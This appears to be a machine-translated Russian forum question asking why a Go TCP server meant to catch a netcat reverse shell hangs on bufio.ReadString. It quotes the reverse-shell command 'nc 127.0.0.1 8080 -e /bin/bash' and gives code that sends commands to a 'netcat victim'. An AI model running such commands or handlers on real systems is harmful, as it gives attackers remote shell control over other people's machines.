Я работаю на TCP-сервере в Go.TCP-сервер должен иметь возможность перехватывать обратную оболочку из netcat:
$ nc 127.0.0.1 8080 -e /bin/bash
Я должен иметь возможность отправлять команды и получать ответы;тем не менее, мой сервер просто зависает, когда получает соединение.
Я думаю, что проблема в строке bufio.NewReader (conn) .ReadString ('\ n'), но я не знаю, какчтобы исправить это.
Можете ли вы предложить какие-либо решения, пожалуйста и спасибо?
Код сервера (примечание: обработка ошибок опущена для краткости):
func main() {
ln, _ := net.Listen("tcp", "127.0.0.1:8080")
for {
conn, _ := ln.Accept()
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
for {
// Receive data from netcat victim
data, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(data)
// Read command from Stdin then send to netcat victim
reader := bufio.NewReader(os.Stdin)
cmd, _ := reader.ReadString('\n')
fmt.Fprintln(conn, cmd)
}
}